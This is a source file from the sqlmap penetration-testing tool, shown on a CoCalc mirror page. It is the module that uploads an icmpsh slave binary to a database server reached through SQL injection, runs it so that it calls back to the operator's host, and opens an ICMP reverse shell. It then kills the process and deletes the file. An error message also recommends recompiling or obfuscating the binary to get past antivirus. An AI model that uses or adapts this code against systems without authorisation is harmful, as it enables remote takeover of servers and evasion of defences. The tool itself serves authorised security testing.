Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/takeover/icmpsh.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import os
9
import re
10
import socket
11
import time
12
13
from extra.icmpsh.icmpsh_m import main as icmpshmaster
14
from lib.core.common import getLocalIP
15
from lib.core.common import getRemoteIP
16
from lib.core.common import normalizePath
17
from lib.core.common import ntToPosixSlashes
18
from lib.core.common import randomStr
19
from lib.core.common import readInput
20
from lib.core.data import conf
21
from lib.core.data import logger
22
from lib.core.data import paths
23
from lib.core.exception import SqlmapDataException
24
25
class ICMPsh(object):
26
"""
27
This class defines methods to call icmpsh for plugins.
28
"""
29
30
def _initVars(self):
31
self.lhostStr = None
32
self.rhostStr = None
33
self.localIP = getLocalIP()
34
self.remoteIP = getRemoteIP() or conf.hostname
35
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
36
37
def _selectRhost(self):
38
address = None
39
message = "what is the back-end DBMS address? "
40
41
if self.remoteIP:
42
message += "[Enter for '%s' (detected)] " % self.remoteIP
43
44
while not address:
45
address = readInput(message, default=self.remoteIP)
46
47
if conf.batch and not address:
48
raise SqlmapDataException("remote host address is missing")
49
50
return address
51
52
def _selectLhost(self):
53
address = None
54
message = "what is the local address? "
55
56
if self.localIP:
57
message += "[Enter for '%s' (detected)] " % self.localIP
58
59
valid = None
60
while not valid:
61
valid = True
62
address = readInput(message, default=self.localIP or "")
63
64
try:
65
socket.inet_aton(address)
66
except socket.error:
67
valid = False
68
finally:
69
valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None
70
71
if conf.batch and not address:
72
raise SqlmapDataException("local host address is missing")
73
elif address and not valid:
74
warnMsg = "invalid local host address"
75
logger.warning(warnMsg)
76
77
return address
78
79
def _prepareIngredients(self, encode=True):
80
self.localIP = getattr(self, "localIP", None)
81
self.remoteIP = getattr(self, "remoteIP", None)
82
self.lhostStr = ICMPsh._selectLhost(self)
83
self.rhostStr = ICMPsh._selectRhost(self)
84
85
def _runIcmpshMaster(self):
86
infoMsg = "running icmpsh master locally"
87
logger.info(infoMsg)
88
89
icmpshmaster(self.lhostStr, self.rhostStr)
90
91
def _runIcmpshSlaveRemote(self):
92
infoMsg = "running icmpsh slave remotely"
93
logger.info(infoMsg)
94
95
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
96
97
self.execCmd(cmd, silent=True)
98
99
def uploadIcmpshSlave(self, web=False):
100
ICMPsh._initVars(self)
101
self._randStr = randomStr(lowercase=True)
102
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
103
104
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
105
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
106
107
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
108
109
if web:
110
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
111
else:
112
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
113
114
if written is not True:
115
errMsg = "there has been a problem uploading icmpsh, it "
116
errMsg += "looks like the binary file has not been written "
117
errMsg += "on the database underlying file system or an AV has "
118
errMsg += "flagged it as malicious and removed it. In such a case "
119
errMsg += "it is recommended to recompile icmpsh with slight "
120
errMsg += "modification to the source code or pack it with an "
121
errMsg += "obfuscator software"
122
logger.error(errMsg)
123
124
return False
125
else:
126
logger.info("icmpsh successfully uploaded")
127
return True
128
129
def icmpPwn(self):
130
ICMPsh._prepareIngredients(self)
131
self._runIcmpshSlaveRemote()
132
self._runIcmpshMaster()
133
134
debugMsg = "icmpsh master exited"
135
logger.debug(debugMsg)
136
137
time.sleep(1)
138
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
139
time.sleep(1)
140
self.delRemoteFile(self._icmpslaveRemote)
141
142